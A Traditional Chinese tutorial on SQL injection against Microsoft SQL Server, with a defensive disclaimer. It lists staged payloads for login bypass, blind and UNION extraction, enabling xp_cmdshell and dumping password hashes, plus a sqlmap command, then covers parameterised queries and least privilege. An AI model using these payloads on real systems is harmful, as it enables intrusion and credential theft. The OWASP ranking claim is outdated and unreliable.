警告:本文內容僅供資安人員、開發者理解攻擊原理以建構防禦,嚴禁用於未授權系統測試。所有範例均在隔離測試環境驗證。
應用程式將使用者輸入直接拼接到 SQL 字串中執行,導致輸入資料被解析為 SQL 指令的一部分,改變原本查詢邏輯。
-- 易受攻擊程式碼
sql = "SELECT * FROM Users WHERE Username = '" & txtUser & "' AND Password = '" & txtPwd & "'"
-- 攻擊輸入:txtUser = ' OR '1'='1' --
-- 實際執行:SELECT * FROM Users WHERE Username = '' OR '1'='1' --' AND Password = '...'
| 階段 | 目標 | 典型 Payload |
|---|---|---|
| 1. 判斷注入點 | 確認參數可控制邏輯 | ' AND 1=1 -- (正常) vs ' AND 1=2 -- (異常) |
| 2. 猜解資料表 | 取得表名 | ' AND 0<>(SELECT COUNT(*) FROM sysobjects WHERE xtype='U') -- |
| 3. 猜解欄位 | 取得欄位名 | ' AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>0) -- |
| 4. 猜解長度 | 逐字元長度 | ' AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>5) -- |
| 5. 逐字元推導 | 取得資料內容 | ' AND 1=(SELECT COUNT(*) FROM admin WHERE LEFT(username,1)='a') -- |
| 6. UNION 注入 | 直接顯示資料 | ' UNION SELECT NULL, username, password FROM admin -- (欄位數需匹配) |
| 7. 盲注 | 無回顯環境 | ' AND (SELECT SUBSTRING(@@VERSION,1,1))='M' -- (布林/時間盲注) |
| 8. 擴權/命令執行 | xp_cmdshell、加帳號 | '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; -- |
DECLARE @s VARCHAR(100) SET @s='SEL'+'ECT' EXEC(@s)。CAST((SELECT @@VERSION) AS INT) 強制轉型錯誤洩露版本。'; WAITFOR DELAY '0:0:5' -- 觀察回應延遲判斷真偽。-- 版本與權限
SELECT @@VERSION;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT SYSTEM_USER, USER_NAME();
-- 所有資料庫
SELECT name FROM master.dbo.sysdatabases WHERE dbid > 6;
-- 當前資料庫所有使用者表
SELECT name FROM sysobjects WHERE xtype='U';
-- 表欄位
SELECT name FROM syscolumns WHERE id=OBJECT_ID('admin');
-- 雜湊密碼 (SQL 2000/2005)
SELECT name, password FROM master.dbo.sysxlogins; -- 需 sysadmin
Command.Parameters / sp_executesql 參數化,絕不拼接字串。db_datareader/db_datawriter 或僅 EXECUTE 特定預存程序,禁止 sysadmin/db_owner。xp_cmdshell、sp_OA*、xp_reg* 等高風險擴充預存程序。sqlmap -u "https://target/page?id=1" --batch --dbs。SQL 注入已知超過 20 年,仍位居 OWASP Top 10 首位。根治之道只有一個:參數化查詢。其他皆為縱深防禦輔助層。